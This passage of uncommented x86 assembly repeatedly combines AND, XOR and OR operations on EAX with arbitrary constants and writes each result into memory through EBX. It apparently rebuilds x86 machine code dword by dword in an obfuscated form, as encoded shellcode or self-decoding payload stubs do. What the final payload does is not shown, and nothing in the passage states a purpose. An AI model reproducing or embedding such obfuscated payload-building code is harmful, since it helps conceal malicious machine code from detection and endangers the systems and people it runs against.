mov dword [ebx], eax
add ebx, edx
and eax, 0x739cfda0
xor eax, 0x539eccb6
and eax, 0x30800482
or eax, 0xb304109
mov dword [ebx], eax
add ebx, edx
and eax, 0x48bd8dcb
and eax, 0x300001
or eax, 0x244dd844
mov dword [ebx], eax
add ebx, edx
and eax, 0x1294d3ee
and eax, 0x3eb69b2c
and eax, 0x40000
or eax, 0xfc04d8b
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7761a1c3
xor eax, 0x4abd92b0
and eax, 0x4ca8
or eax, 0x85e00107
mov dword [ebx], eax
add ebx, edx
or eax, 0xbc723f3
and eax, 0x8b0164c9
or eax, 0x181000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2344065
xor eax, 0x5df8b91d
and eax, 0x54018411
or eax, 0x1023044
mov dword [ebx], eax
add ebx, edx
or eax, 0x64f828fe
and eax, 0x11134f4
or eax, 0x8a004000
mov dword [ebx], eax
add ebx, edx
or eax, 0x2ed972b1
and eax, 0x5017045
or eax, 0x40028000
mov dword [ebx], eax
add ebx, edx
and eax, 0x13399656
or eax, 0x4175b001
and eax, 0x1013004
or eax, 0x8a0844b8
mov dword [ebx], eax
add ebx, edx
and eax, 0x43c878af
and eax, 0x100600c
or eax, 0xe8838441
mov dword [ebx], eax
add ebx, edx
and eax, 0x42d47cea
or eax, 0x79cdb58
and eax, 0x440c8900
or eax, 0xa0410001
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3e9dca95
and eax, 0xdad04180
or eax, 0x252e2469
mov dword [ebx], eax
add ebx, edx
or eax, 0x7cd0d9b4
and eax, 0x185489fd
or eax, 0x10202
mov dword [ebx], eax
add ebx, edx
and eax, 0x47e0f668
or eax, 0x3fa458f8
and eax, 0x2920d280
or eax, 0x2001
mov dword [ebx], eax
add ebx, edx
or eax, 0x3c566de9
and eax, 0x64fb1f4a
and eax, 0x20000000
or eax, 0xd2810000
mov dword [ebx], eax
add ebx, edx
and eax, 0x1d889a12
and eax, 0
or eax, 0x686e1203
mov dword [ebx], eax
add ebx, edx
xor eax, 0x29a5cfbc
xor eax, 0x3585617
and eax, 0x188
or eax, 0x250c4403
mov dword [ebx], eax
add ebx, edx
xor eax, 0x43db965c
or eax, 0x7782947a
and eax, 0x97a6
or eax, 0x800
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3aa47eed
and eax, 0x2fa7ae79
and eax, 0x8001
or eax, 0x30634
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7a43f644
or eax, 0x53ad840b
and eax, 0x18808000
or eax, 0x4100900
mov dword [ebx], eax
add ebx, edx
and eax, 0x40d58f6b
and eax, 0
or eax, 0x8b000010
mov dword [ebx], eax
add ebx, edx
or eax, 0x10e86255
or eax, 0x70e8916a
and eax, 0x4928f04d
or eax, 0x4130800
mov dword [ebx], eax
add ebx, edx
and eax, 0x38901ff1
and eax, 0x39604078
and eax, 0x8000040
or eax, 0x83257cb0
mov dword [ebx], eax
add ebx, edx
and eax, 0x16546401
or eax, 0x33ea6f45
and eax, 0x230e6c45
or eax, 0x8c019010
mov dword [ebx], eax
add ebx, edx
or eax, 0x6c0b67ff
or eax, 0x2f6f6df2
and eax, 0x452bdc55
or eax, 0x10100000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x15844e48
or eax, 0x6254438c
and eax, 0x2195094
or eax, 0x89002c60
mov dword [ebx], eax
add ebx, edx
and eax, 0x3ba6a37b
and eax, 0x8000040
or eax, 0xe083d405
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1739ba64
and eax, 0x7b45a5df
and eax, 0x50000001
or eax, 0x84458900
mov dword [ebx], eax
add ebx, edx
and eax, 0x38229c36
and eax, 0x800
or eax, 0xfd4458b
mov dword [ebx], eax
add ebx, edx
or eax, 0x3801a5a4
and eax, 0x3bc44daf
or eax, 0
mov dword [ebx], eax
add ebx, edx
and eax, 0x2733a133
and eax, 0x1000001
or eax, 0x8c0fc84c
mov dword [ebx], eax
add ebx, edx
and eax, 0x280877d
and eax, 0x73c3df75
and eax, 0x40
or eax, 0x8a
mov dword [ebx], eax
add ebx, edx
xor eax, 0x78ddc59f
and eax, 0x8984501
or eax, 0x8120108a
mov dword [ebx], eax
add ebx, edx
and eax, 0x3e0ad1d2
or eax, 0x6afdebad
and eax, 0x6afd7885
or eax, 0x95020410
mov dword [ebx], eax
add ebx, edx
or eax, 0x3ee1904a
and eax, 0x539aa22d
and eax, 0x4000800d
or eax, 0x8c450bf2
mov dword [ebx], eax
add ebx, edx
or eax, 0x64e6d5d2
and eax, 0xec608589
or eax, 0x13180000
mov dword [ebx], eax
add ebx, edx
or eax, 0x559f9cf4
and eax, 0x4d8b9dfd
or eax, 0x6202
mov dword [ebx], eax
add ebx, edx
or eax, 0x6c108a2d
or eax, 0x14b2f85c
and eax, 0x1a983cc
or eax, 0x400000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3a0c212c
and eax, 0xbc40080
or eax, 0x80084d09
mov dword [ebx], eax
add ebx, edx
or eax, 0x25bf16a7
or eax, 0x618fca30
and eax, 0xefff5c95
or eax, 0x10002000
mov dword [ebx], eax
add ebx, edx
and eax, 0x46e04ae6
and eax, 0x19302180
and eax, 0x80
or eax, 0x78953b7f
mov dword [ebx], eax
add ebx, edx
or eax, 0x6ba1a4b8
xor eax, 0x6fbf2bb6
and eax, 0x140a9449
or eax, 0x69f56bb6
mov dword [ebx], eax
add ebx, edx
or eax, 0x20e00d87
and eax, 0x7c458b19
or eax, 0x80000000
mov dword [ebx], eax
add ebx, edx
and eax, 0x44e14800
and eax, 0x10000
or eax, 0x8900c083
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1abe1f06
and eax, 0x18bdc05
or eax, 0x4c002040
mov dword [ebx], eax
add ebx, edx
and eax, 0x14793b86
and eax, 0x4093804
or eax, 0xe84403f8
mov dword [ebx], eax
add ebx, edx
and eax, 0x7852d4aa
xor eax, 0x2fc7691
and eax, 0x40880039
or eax, 0x15030844
mov dword [ebx], eax
add ebx, edx
and eax, 0x6273b332
xor eax, 0x4827e415
and eax, 0x42024
or eax, 0xe4511b90
mov dword [ebx], eax
add ebx, edx
and eax, 0xe515572
or eax, 0x21adc432
and eax, 0x5891430
or eax, 0x40022a4c
mov dword [ebx], eax
add ebx, edx
xor eax, 0x56a5af1d
or eax, 0x66eaff9a
and eax, 0x70443bc0
or eax, 0x88010004
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4a724cc4
and eax, 0x175e42c5
and eax, 0x60000
or eax, 0x45c1097d
mov dword [ebx], eax
add ebx, edx
or eax, 0x32088174
and eax, 0x128
or eax, 0x80
mov dword [ebx], eax
add ebx, edx
xor eax, 0x55c570d8
and eax, 0x45056100
or eax, 0x82028a00
mov dword [ebx], eax
add ebx, edx
xor eax, 0x62445ee7
and eax, 0xa045
or eax, 0x800
mov dword [ebx], eax
add ebx, edx
or eax, 0x6f377f53
or eax, 0x59247936
and eax, 0x4d030000
or eax, 0x880000
mov dword [ebx], eax
add ebx, edx
and eax, 0x3113c836
and eax, 0x1010000
or eax, 0xe883c0
mov dword [ebx], eax
add ebx, edx
and eax, 0x23819798
and eax, 0x1800180
or eax, 0x8a404c09
mov dword [ebx], eax
add ebx, edx
or eax, 0x3c701e52
and eax, 0x15204051
or eax, 0x40038004
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7806d409
or eax, 0x30dcc279
and eax, 0x95d5428
or eax, 0x82022080
mov dword [ebx], eax
add ebx, edx
or eax, 0x54b4da93
and eax, 0x4d51dbc3
and eax, 0x4801d001
or eax, 0xa0822444
mov dword [ebx], eax
add ebx, edx
xor eax, 0x31c36812
or eax, 0x75ae7e40
and eax, 0xf4448801
or eax, 0x10100
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2826ffd2
and eax, 0x3f688798
and eax, 0xc400480
or eax, 0x390490b
mov dword [ebx], eax
add ebx, edx
or eax, 0x4aa4601a
and eax, 0x6c1d9849
and eax, 0x8140809
or eax, 0x33e045a6
mov dword [ebx], eax
add ebx, edx
or eax, 0x1e457993
and eax, 0xa75580d
or eax, 0x40088040
mov dword [ebx], eax
add ebx, edx
and eax, 0x2ec5b1ad
and eax, 0xa441009
or eax, 0x1b04582
mov dword [ebx], eax
add ebx, edx
or eax, 0x65fd025d
xor eax, 0x52a21f2
and eax, 0x20556405
or eax, 0x11208050
mov dword [ebx], eax
add ebx, edx
and eax, 0x5a5da622
xor eax, 0x76ec43f9
and eax, 0x2b84589
or eax, 0x81400002
mov dword [ebx], eax
add ebx, edx
and eax, 0x7d9f4c5f
xor eax, 0x121fa669
and eax, 0x1810060
or eax, 0x44080188
mov dword [ebx], eax
add ebx, edx
and eax, 0x6309910d
and eax, 0x40090108
or eax, 0xb8448af0
mov dword [ebx], eax
add ebx, edx
and eax, 0x3b9ee36a
or eax, 0x53e26e82
and eax, 0x79cc4d2a
or eax, 0x4000011
mov dword [ebx], eax
add ebx, edx
or eax, 0x2e58e4af
or eax, 0x44dd08b4
and eax, 0x68558931
or eax, 0x80000200
mov dword [ebx], eax
add ebx, edx
and eax, 0x43e10355
and eax, 0x40400111
or eax, 0x3da0542a
mov dword [ebx], eax
add ebx, edx
xor eax, 0x398e1715
and eax, 0x4444208
or eax, 0xa0018501
mov dword [ebx], eax
add ebx, edx
or eax, 0x5f33a0c2
and eax, 1
or eax, 0
mov dword [ebx], eax
add ebx, edx
and eax, 0x6df1adc4
or eax, 0x673d684b
and eax, 0x4505004b
or eax, 0xc207a0
mov dword [ebx], eax
add ebx, edx
or eax, 0x2c9941be
and eax, 0x3e0e9137
and eax, 0x24
or eax, 0x80
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2ceb7f85
and eax, 0x8410b00
or eax, 0xc0048000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x48eb4e1f
and eax, 0xa44503
or eax, 0x74000020
mov dword [ebx], eax
add ebx, edx
and eax, 0x43d88cb4
and eax, 0x40000000
or eax, 0xa04d8b11
mov dword [ebx], eax
add ebx, edx
or eax, 0x54ad9263
or eax, 0x5b903ad3
and eax, 0x74f00923
or eax, 0x4408
mov dword [ebx], eax
add ebx, edx
or eax, 0x3ce77efb
and eax, 0x78550b09
or eax, 0x80008000
mov dword [ebx], eax
add ebx, edx
or eax, 0x7f9106af
xor eax, 0x490e70a8
and eax, 0x8001c203
or eax, 0x9000080
mov dword [ebx], eax
add ebx, edx
and eax, 0x684fdbd4
and eax, 0x1c000
or eax, 0x458a3855
mov dword [ebx], eax
add ebx, edx
and eax, 0x7a0c151d
and eax, 0x6235569f
and eax, 0x10
or eax, 0x240d0500
mov dword [ebx], eax
add ebx, edx
and eax, 0x3306dc92
and eax, 0x40000
or eax, 0x81310001
mov dword [ebx], eax
add ebx, edx
or eax, 0x4f6e3cef
or eax, 0x1299dc77
and eax, 0x990000b9
or eax, 0x20000100
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3bcca40a
or eax, 0x4ba01896
and eax, 0x2da2
or eax, 0x4248
mov dword [ebx], eax
add ebx, edx
xor eax, 0x537b9d37
and eax, 0x1104009
or eax, 0x80000d22
mov dword [ebx], eax
add ebx, edx
or eax, 0x7f4c7a6c
xor eax, 0x3d8b6018
and eax, 0xc2d21a71
or eax, 0x3d086080
mov dword [ebx], eax
add ebx, edx
or eax, 0x17b16b3c
and eax, 0x1c8108fd
or eax, 0x8002
mov dword [ebx], eax
add ebx, edx
xor eax, 0x515eee49
and eax, 0x9000010
or eax, 0x82000000
mov dword [ebx], eax
add ebx, edx
and eax, 0x66576295
and eax, 0x2000010
or eax, 0xe0811445
mov dword [ebx], eax
add ebx, edx
or eax, 0x36d9d1be
and eax, 0x41e5
or eax, 0x2000
mov dword [ebx], eax
add ebx, edx
and eax, 0x721c2189
and eax, 0x2081
or eax, 0x446ed200
mov dword [ebx], eax
add ebx, edx
or eax, 0x21757f23
or eax, 0x1d340bc0
and eax, 0x450b6560
or eax, 0x800018
mov dword [ebx], eax
add ebx, edx
or eax, 0xd7ee851
or eax, 0x154fbe16
and eax, 0x4c6f2514
or eax, 0x2000000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6e60e90f
and eax, 0x20050000
or eax, 0xdf200000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x236ff338
and eax, 0x18213104
and eax, 0
or eax, 0x830000d5
mov dword [ebx], eax
add ebx, edx
and eax, 0x56312e77
and eax, 0x6b1d2ba3
and eax, 0
or eax, 0x908942f0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3d246776
xor eax, 0x28018a11
and eax, 0x14
or eax, 0x1008
mov dword [ebx], eax
add ebx, edx
or eax, 0x209d84d
and eax, 0x90819
or eax, 0x5025a0
mov dword [ebx], eax
add ebx, edx
and eax, 0x5a0b932c
and eax, 0x90100
or eax, 0xc442a00
mov dword [ebx], eax
add ebx, edx
or eax, 0x5643ceaa
and eax, 0x67abbcf1
and eax, 0x409a080
or eax, 0x31345101
mov dword [ebx], eax
add ebx, edx
or eax, 0x59e88a80
or eax, 0x249b636c
and eax, 0x55ba0000
or eax, 0x80000000
mov dword [ebx], eax
add ebx, edx
and eax, 0x4bd1a292
or eax, 0x9ccda35
and eax, 0x9000001
or eax, 0x2200000a
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2f15e5c
xor eax, 0x3823a726
and eax, 0x10801851
or eax, 0xe2010004
mov dword [ebx], eax
add ebx, edx
xor eax, 0x67a96025
xor eax, 0x7413c30c
and eax, 0xe13bb90c
or eax, 0x1ec40080
mov dword [ebx], eax
add ebx, edx
or eax, 0x6038f2eb
or eax, 0x6001aeca
and eax, 0x101c8a88
or eax, 0
mov dword [ebx], eax
add ebx, edx
and eax, 0x48c73da
and eax, 0x80000
or eax, 0x45830000
mov dword [ebx], eax
add ebx, edx
and eax, 0x63cb1818
and eax, 0x40800000
or eax, 0x96543518
mov dword [ebx], eax
add ebx, edx
or eax, 0x4dd19166
or eax, 0x606e00c8
and eax, 0xb8250000
or eax, 0
mov dword [ebx], eax
add ebx, edx
or eax, 0x519e79cd
and eax, 0x5a2258e9
and eax, 0x100000c0
or eax, 0x25000026
mov dword [ebx], eax
add ebx, edx
xor eax, 0xbea9e5c
and eax, 0x28eeef7d
and eax, 0x20228428
or eax, 0x121170c4
mov dword [ebx], eax
add ebx, edx
or eax, 0x10426362
xor eax, 0x6eb9f96d
and eax, 0xc83
or eax, 0x81104108
mov dword [ebx], eax
add ebx, edx
and eax, 0x40890e1d
or eax, 0x1fe0c0
and eax, 0xbc8c1
or eax, 0xa00220
mov dword [ebx], eax
add ebx, edx
or eax, 0x42772893
and eax, 0x435a371c
and eax, 0x2400000
or eax, 0x3da18100
mov dword [ebx], eax
add ebx, edx
and eax, 0x3d34367d
and eax, 0x1000000
or eax, 0x80000077
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7db16131
and eax, 0x9b9eb6e
and eax, 0x800140
or eax, 0xc0489
mov dword [ebx], eax
add ebx, edx
and eax, 0x1fd5ffc5
and eax, 0x800100
or eax, 0x1718000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5de7d10a
and eax, 0x1ee349bf
and eax, 0x8000008
or eax, 0x81000085
mov dword [ebx], eax
add ebx, edx
and eax, 0x3e3ef278
or eax, 0x7171aa7c
and eax, 0x100800
or eax, 0x1481
mov dword [ebx], eax
add ebx, edx
or eax, 0x7aa31006
and eax, 0x360c8eba
and eax, 0x800
or eax, 0xc8558300
mov dword [ebx], eax
add ebx, edx
and eax, 0x744829eb
xor eax, 0x54b0a481
and eax, 0x10b0a881
or eax, 0x830a4200
mov dword [ebx], eax
add ebx, edx
or eax, 0x91b0147
and eax, 0x11890000
or eax, 0x44000000
mov dword [ebx], eax
add ebx, edx
or eax, 0x2b507ef0
and eax, 0xcb21150
and eax, 0xc000040
or eax, 0xe0458b88
mov dword [ebx], eax
add ebx, edx
or eax, 0x321db290
and eax, 0x88480100
or eax, 0x1804403
mov dword [ebx], eax
add ebx, edx
or eax, 0xc8750fc
and eax, 0x39bd1192
and eax, 0x9890000
or eax, 0x62ec45
mov dword [ebx], eax
add ebx, edx
xor eax, 0x32c26fa
and eax, 0x6ce0165c
and eax, 0xc00008
or eax, 0x832c4d83
mov dword [ebx], eax
add ebx, edx
or eax, 0x759b5047
xor eax, 0xcea2a82
and eax, 0x49010141
or eax, 0x4880080
mov dword [ebx], eax
add ebx, edx
xor eax, 0x135a7a4f
xor eax, 0x224a3a8f
and eax, 0x6c110100
or eax, 0x80448aec
mov dword [ebx], eax
add ebx, edx
or eax, 0x5b7faaac
and eax, 0xc107f8d
and eax, 0xc000108
or eax, 0x3e05433
mov dword [ebx], eax
add ebx, edx
xor eax, 0x22922a99
and eax, 0x7e80
or eax, 0x800d
mov dword [ebx], eax
add ebx, edx
xor eax, 0x33e3948a
and eax, 0x10410a00
or eax, 0xc0048100
mov dword [ebx], eax
add ebx, edx
xor eax, 0xcc12e84
and eax, 0xd404a504
or eax, 0x20410a0b
mov dword [ebx], eax
add ebx, edx
and eax, 0x574fe4ed
or eax, 0x6374f316
and eax, 0x375c005
or eax, 0x8000080
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2d5815ac
or eax, 0x4107a110
and eax, 0x3284509
or eax, 0xc00882
mov dword [ebx], eax
add ebx, edx
xor eax, 0x93aa262
or eax, 0x4d38c497
and eax, 0x4d3acc4d
or eax, 0x11000
mov dword [ebx], eax
add ebx, edx
and eax, 0x38fef3ca
and eax, 0x61afe2cb
and eax, 0x284040
or eax, 0x8b443da4
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5994244c
or eax, 0x708356b0
and eax, 0xe2835010
or eax, 0x800a045
mov dword [ebx], eax
add ebx, edx
and eax, 0x58166c37
and eax, 0x40000001
or eax, 0xb0558900
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7533b12b
or eax, 0x5d95edad
and eax, 0x9e0458b
or eax, 0x2080000
mov dword [ebx], eax
add ebx, edx
or eax, 0x60981886
xor eax, 0x61ba3bd2
and eax, 0x6045
or eax, 0x85899000
mov dword [ebx], eax
add ebx, edx
and eax, 0xd14a856
or eax, 0x270e529d
and eax, 0x270ef254
or eax, 0xd8f10d20
mov dword [ebx], eax
add ebx, edx
or eax, 0x437f37d
or eax, 0x57a80652
and eax, 0x83e84d0b
or eax, 0x80
mov dword [ebx], eax
add ebx, edx
and eax, 0x1f1cb2a6
and eax, 0x1080080
or eax, 0x4c810169
mov dword [ebx], eax
add ebx, edx
and eax, 0x16c9319b
and eax, 0x4890188
or eax, 0x70348260
mov dword [ebx], eax
add ebx, edx
and eax, 0x611fc072
and eax, 0x1d8060
or eax, 0xe27f9f
mov dword [ebx], eax
add ebx, edx
and eax, 0x7fc325d7
or eax, 0x2bba1630
and eax, 0x18b0074
or eax, 0x54000800
mov dword [ebx], eax
add ebx, edx
and eax, 0x166e086c
or eax, 0x28f3a648
and eax, 0x4512a48
or eax, 0xc0041180
mov dword [ebx], eax
add ebx, edx
or eax, 0x5d8ca77c
and eax, 0x4589347c
or eax, 0x20000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x413ff045
or eax, 0x3546517d
and eax, 0x440174
or eax, 0xc0012a80
mov dword [ebx], eax
add ebx, edx
xor eax, 0x74310497
and eax, 0x3f991507
and eax, 0x34100501
or eax, 0xcb608088
mov dword [ebx], eax
add ebx, edx
and eax, 0x22a85367
and eax, 0x316c734e
and eax, 0x100
or eax, 0x4d8bfeff
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3676198f
xor eax, 0x3ebcc449
and eax, 0x44010018
or eax, 0x288c89c4
mov dword [ebx], eax
add ebx, edx
or eax, 0x175f7b48
or eax, 0x2514eb13
and eax, 0xbdffbdf
or eax, 0x80200420
mov dword [ebx], eax
add ebx, edx
and eax, 0x34345658
and eax, 0x4050
or eax, 0xea838005
mov dword [ebx], eax
add ebx, edx
xor eax, 0x566ff9d0
and eax, 0x80440901
or eax, 0x40118000
mov dword [ebx], eax
add ebx, edx
or eax, 0x749cc6f8
or eax, 0x6667c7e8
and eax, 0xf6708589
or eax, 0x9000002
mov dword [ebx], eax
add ebx, edx
or eax, 0x75a136a5
or eax, 0x3db4d9c7
and eax, 0x8531ffef
or eax, 0xa0010
mov dword [ebx], eax
add ebx, edx
or eax, 0x6a94b95e
and eax, 0xefbfff6c
or eax, 0x10400000
mov dword [ebx], eax
add ebx, edx
and eax, 0x7d0747c3
and eax, 0x3c44660e
and eax, 0xc000000
or eax, 0x418b117d
mov dword [ebx], eax
add ebx, edx
and eax, 0x7d6ab4d8
xor eax, 0x2829b243
and eax, 0x20012210
or eax, 0x904c19c4
mov dword [ebx], eax
add ebx, edx
and eax, 0x776fd19b
or eax, 0x18d1510a
and eax, 0x10890118
or eax, 0x45020865
mov dword [ebx], eax
add ebx, edx
and eax, 0x72584d34
xor eax, 0x14fae664
and eax, 0xe28300
or eax, 0x10800ac
mov dword [ebx], eax
add ebx, edx
or eax, 0x24f92144
and eax, 0x61ddd87c
and eax, 0x1880008
or eax, 0x8a245581
mov dword [ebx], eax
add ebx, edx
and eax, 0x678b9b0d
and eax, 0x1081001
or eax, 0x4433e444
mov dword [ebx], eax
add ebx, edx
xor eax, 0x91197d9
and eax, 0x2689f37b
and eax, 0x86108
or eax, 0x8b011ce0
mov dword [ebx], eax
add ebx, edx
and eax, 0x1879f800
xor eax, 0x107ccae3
and eax, 0x8019041
or eax, 0xe1824c0c
mov dword [ebx], eax
add ebx, edx
and eax, 0x60a43e01
or eax, 0x1ef5e204
and eax, 0x5c458801
or eax, 0x80080100
mov dword [ebx], eax
add ebx, edx
xor eax, 0x71707829
and eax, 0x81345108
or eax, 0x2800483
mov dword [ebx], eax
add ebx, edx
and eax, 0x42e14728
and eax, 0x800108
or eax, 0x550900e2
mov dword [ebx], eax
add ebx, edx
or eax, 0x4c877924
or eax, 0x254bd395
and eax, 0x3c458bb4
or eax, 0x80000000
mov dword [ebx], eax
add ebx, edx
or eax, 0x1f2ae9e4
or eax, 0x52f318a9
and eax, 0x8901c081
or eax, 2
mov dword [ebx], eax
add ebx, edx
or eax, 0x449031c2
and eax, 0x4d81b041
or eax, 0xa0c04
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1d03ff6
and eax, 0x48098180
or eax, 0x20840848
mov dword [ebx], eax
add ebx, edx
and eax, 0xd2695da
and eax, 0x80481c8
or eax, 0x83fb7e37
mov dword [ebx], eax
add ebx, edx
or eax, 0x60ad1add
and eax, 0x8189e855
or eax, 0x14000000
mov dword [ebx], eax
add ebx, edx
and eax, 0x1a0f94f5
and eax, 0x10098044
or eax, 0xeff67f20
mov dword [ebx], eax
add ebx, edx
xor eax, 0x43615b8e
or eax, 0x385e51fd
and eax, 0x80c8458b
or eax, 0x3200000
mov dword [ebx], eax
add ebx, edx
or eax, 0x482db561
and eax, 0x7e817c73
and eax, 0x40810060
or eax, 0x5080188
mov dword [ebx], eax
add ebx, edx
or eax, 0x6ecf5c57
and eax, 0x688d09e8
or eax, 0x8200
mov dword [ebx], eax
add ebx, edx
or eax, 0x216e6b61
xor eax, 0x21fa40e5
and eax, 0x815ab0c
or eax, 0x33ea54f3
mov dword [ebx], eax
add ebx, edx
and eax, 0x3e0b36c4
and eax, 0x3a0b2484
or eax, 0xc5f44009
mov dword [ebx], eax
add ebx, edx
and eax, 0x2ff42550
and eax, 0xb102400
or eax, 0x800058ff
mov dword [ebx], eax
add ebx, edx
xor eax, 0x14fc1cff
and eax, 0x15284000
or eax, 0x40139c55
mov dword [ebx], eax
add ebx, edx
and eax, 0x719e17da
and eax, 0x1101450
or eax, 0x8a0169a0
mov dword [ebx], eax
add ebx, edx
and eax, 0xbfca1a0
and eax, 0x1102000
or eax, 0x442b9845
mov dword [ebx], eax
add ebx, edx
or eax, 0x66638da8
and eax, 0x7401f5b9
and eax, 0x13580
or eax, 0x8b084840
mov dword [ebx], eax
add ebx, edx
or eax, 0x6315aeb6
and eax, 0x34c2e199
and eax, 0xe000
or eax, 0xc183044d
mov dword [ebx], eax
add ebx, edx
and eax, 0x7684f833
xor eax, 0x3917bd71
and eax, 0x60050900
or eax, 0x84488001
mov dword [ebx], eax
add ebx, edx
and eax, 0x28d7e05c
and eax, 0x5bdbb9
and eax, 0x400000
or eax, 0x839c558b
mov dword [ebx], eax
add ebx, edx
xor eax, 0x48a66a9
and eax, 0x5000122
or eax, 0x508900c8
mov dword [ebx], eax
add ebx, edx
xor eax, 0x701be8c
and eax, 0x10008b44
or eax, 0xa0450098
mov dword [ebx], eax
add ebx, edx
and eax, 0x5d9c0d17
or eax, 0xccbcae1
and eax, 0x801c081
or eax, 0x81000002
mov dword [ebx], eax
add ebx, edx
xor eax, 0x68ce7db3
and eax, 0xe1c9b000
or eax, 0xc200045
mov dword [ebx], eax
add ebx, edx
and eax, 0x50d7db12
or eax, 0x3442d6b5
and eax, 0xc3d6b4
or eax, 0x8b3c294a
mov dword [ebx], eax
add ebx, edx
or eax, 0x44a2d395
xor eax, 0xddc6cdc
and eax, 0xc0039001
or eax, 0x180404c
mov dword [ebx], eax
add ebx, edx
xor eax, 0x54cb8f1d
and eax, 0x90480900
or eax, 0x40058001
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7166dc75
and eax, 0x81285500
or eax, 0xd4008b
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5781bea8
or eax, 0x3e541ed2
and eax, 0x6d70e2
or eax, 0x800008
mov dword [ebx], eax
add ebx, edx
or eax, 0x1ec9342e
and eax, 0x1c450000
or eax, 0xe0108900
mov dword [ebx], eax
add ebx, edx
and eax, 0x2fbb4072
or eax, 0x1095ffdf
and eax, 0x84458b
or eax, 0x3680000
mov dword [ebx], eax
add ebx, edx
or eax, 0x7ba107d2
and eax, 0xde38dd2
and eax, 0x1810440
or eax, 0x4408f805
mov dword [ebx], eax
add ebx, edx
and eax, 0x515d4b5e
and eax, 0x58bb54c9
and eax, 0x94040
or eax, 0x8b00abac
mov dword [ebx], eax
add ebx, edx
and eax, 0x15e1f942
and eax, 0x101e840
or eax, 0xc082040d
mov dword [ebx], eax
add ebx, edx
and eax, 0x5fecf33b
and eax, 0x40008001
or eax, 0xac4d0900
mov dword [ebx], eax
add ebx, edx
and eax, 0x44aff09c
and eax, 0xc0000
or eax, 0x3be0558b
mov dword [ebx], eax
add ebx, edx
and eax, 0x68564294
xor eax, 0x786dee66
and eax, 0x98c44
or eax, 0x8d065011
mov dword [ebx], eax
add ebx, edx
xor eax, 0x295c8efe
and eax, 0x7431499c
and eax, 8
or eax, 0x161
mov dword [ebx], eax
add ebx, edx
or eax, 0x60e293e7
or eax, 0x5188618b
and eax, 0x1c8418b
or eax, 0x88040400
mov dword [ebx], eax
add ebx, edx
and eax, 0xc23fced
and eax, 0x8004081
or eax, 0xf7ff2004
mov dword [ebx], eax
add ebx, edx
and eax, 0x388a7a7f
and eax, 0x38080005
or eax, 0x84458bfa
mov dword [ebx], eax
add ebx, edx
and eax, 0x3dc6d6db
or eax, 0x1c321580
and eax, 0x3c548589
or eax, 0xc3080800
mov dword [ebx], eax
add ebx, edx
xor eax, 0x10f9ee9b
and eax, 0x45816312
or eax, 0x100a9ced
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1e48a707
and eax, 0x1c200c8
or eax, 0x288304
mov dword [ebx], eax
add ebx, edx
and eax, 0x3f4ff35a
or eax, 0x3a650dd4
and eax, 0xb4c0588
or eax, 0x80805001
mov dword [ebx], eax
add ebx, edx
and eax, 0x9a6f6b0
and eax, 0x9844080
or eax, 0xf67b2005
mov dword [ebx], eax
add ebx, edx
and eax, 0x71202d8d
or eax, 0x56fd8f0
and eax, 0x540538f5
or eax, 0x880030a
mov dword [ebx], eax
add ebx, edx
and eax, 0x34b34e68
xor eax, 0x201ac4a4
and eax, 0x349bcecc
or eax, 0x49643133
mov dword [ebx], eax
add ebx, edx
or eax, 0x1f75fbcd
and eax, 0x2045c709
or eax, 0x80000000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x553892e0
or eax, 0x4268253f
and eax, 1
or eax, 0
mov dword [ebx], eax
add ebx, edx
and eax, 0x55cfad8e
and eax, 0x66ceea8a
and eax, 0
or eax, 0x45c707eb
mov dword [ebx], eax
add ebx, edx
xor eax, 0x57847ee7
and eax, 0
or eax, 0xa0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x19aea764
or eax, 0x68606eb8
and eax, 0x604c8b00
or eax, 0x84010000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6620d704
and eax, 0x204c00
or eax, 0x75800133
mov dword [ebx], eax
add ebx, edx
and eax, 0x4998bed7
xor eax, 0x4b075d9e
and eax, 0x8050108
or eax, 0xb4508a00
mov dword [ebx], eax
add ebx, edx
xor eax, 0x89fe55
or eax, 0x69cf6ba3
and eax, 0x74d0550b
or eax, 0x200000
mov dword [ebx], eax
add ebx, edx
and eax, 0x171ab148
and eax, 0x10000108
or eax, 0xc8458a01
mov dword [ebx], eax
add ebx, edx
xor eax, 0x33696754
and eax, 0x26d188a9
and eax, 0x8001
or eax, 0x89014082
mov dword [ebx], eax
add ebx, edx
or eax, 0x384c9980
xor eax, 0x42e109c5
and eax, 0x4988d044
or eax, 0x4030801
mov dword [ebx], eax
add ebx, edx
or eax, 0x5c2462a3
or eax, 0x6adee4d7
and eax, 0x1c182f4
or eax, 0x108
mov dword [ebx], eax
add ebx, edx
xor eax, 0x55261149
and eax, 0xe40081
or eax, 0x8b184d08
mov dword [ebx], eax
add ebx, edx
or eax, 0x143598f
and eax, 0x8b0f1805
or eax, 0x2400a050
mov dword [ebx], eax
add ebx, edx
and eax, 0x609a9af4
and eax, 0x9054
or eax, 0xd2854401
mov dword [ebx], eax
add ebx, edx
or eax, 0x3e3a7fe2
